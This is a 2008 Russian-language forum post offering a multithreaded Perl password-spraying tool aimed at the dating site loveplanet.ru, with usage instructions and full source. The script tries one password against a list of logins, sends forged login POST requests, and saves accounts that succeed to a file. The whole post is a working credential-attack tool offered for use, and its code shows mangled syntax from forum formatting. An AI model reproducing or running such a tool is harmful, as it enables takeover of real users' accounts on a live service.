Многопоточный брутер loveplanet

Discussion in 'PHP' started by Vid0k, 17 May 2008.

  1. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    Написан на перле, брутит заданным паролем по диапазону логинов.
    Для работы необходим ActivePerl.

    Синтаксис:
    script.pl потоки пароль
    в папку со криптом кладем файлик logins.txt с логинами и пустой файл good.txt куда будут складываться валидные пары
    это скрипт Kaimi просто немного переписанный мной
    для работы с loveplanet
    так что все авторские права пренадлежат ему
    PHP:
    #! /usr/bin/perl -w
    use IO::Socket;
    use 
    threads;
    use 
    threads::shared;

    $threads =  shift || 5                #Кол-во потоков
    $pass    =  shift || 'pass'         #pwd
    $fname   'good.txt'               #Валидные
    $login      =  shift || 'login.txt'    #Список логинов

    my @acc shared;
    my $i shared;
    my $total shared;
    $| =
    1;

    print 
    "Loading...\n";

    open (ACS"<$login") || die("Could not open mail list file!");
    @
    acc acc();

    $size scalar @acc;
    $time      time
    $start      localtime;
    print  
    "Loaded: ",$size," logins.\n";
    printf "Started at $start\n";

    for(
    0..$threads) {$trl[$_] = threads->create(\&Brut$_);}
    for(@
    trl) { $_->join; }

    sub Brut
    {
        while(@
    acc)
        {    
            {
    lock(@acc);$acc shift @acc;}
            
    my $sock = new IO::Socket::INET 
            
    (
            
    PeerAddr => 'loveplanet.ru',
               
    PeerPort => 80
               
    PeerProto => 'tcp'
               
    TimeOut => 20
            
    ) or die "Can't connect\n";
            
            
    my $data "a=logon&back=&login=$acc&password=$pass";
            
    my $len length($data);
            
    my $re "POST /a-logon/ HTTP/1.1\n".
                 
    "User-Agent: Opera/9.26 (Windows NT 5.1; U; ru)\n".
                 
    "Host: loveplanet.ru\n".
                 
    "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\n".
                 
    "Accept-Language: ru-RU,ru;q=0.9,en;q=0.8\n".
                 
    "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\n".
                 
    "Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\n".
                 
    "Referer: http://loveplanet.ru/\n".
                 
    "Cookie: domhit=1; randomhit=1691256652; LP_CH_C=love_cookies\n".
                 
    "Cookie2: \$Version=1".
                 
    "Connection: Keep-Alive, TE\n".
                 
    "TE: deflate, gzip, chunked, identity, trailers\n".
                 
    "Content-Length: $len\n".
                 
    "Content-Type: application/x-www-form-urlencoded\n\n$data\n";
            
            print 
    $sock $re
            
    sysread ($sockmy $answ800);
            
            if(
    $answ =~ /302 Found/)
                {
                    {
    lock($total); $total++;}
                    print 
    "[+] $acc\n";
                    
    open(FILE">>$fname") || die("Could not open $fname\n");
                    print 
    FILE "$acc : $pass\n";
                    
    close(FILE);
                }
            {
    lock($i);$i++;}
            
    $percent = ($i/$size)*100;
            
    progress();

        }
                
            
    }


    $time time-$time;
    $end localtime;
    printf "Finished at $end\n";
    printf "Time elapsed: $time sec\n";
    printf "Finded: $total \n";

    sub progress{

    print 
    "|";
    $percent sprintf("%.2f"$percent);
    print 
    "< $percent% > complete";
    print 
    "\r";
        }

    sub acc
    {
        
    my (@mas);
        while (<
    ACS>){
        
    push @mas$_;
        }
        
    chomp @mas;
        return @
    mas;
    }

    #(c)Kaimi
     
    #1 Vid0k, 17 May 2008
    Last edited: 17 May 2008
    1 person likes this.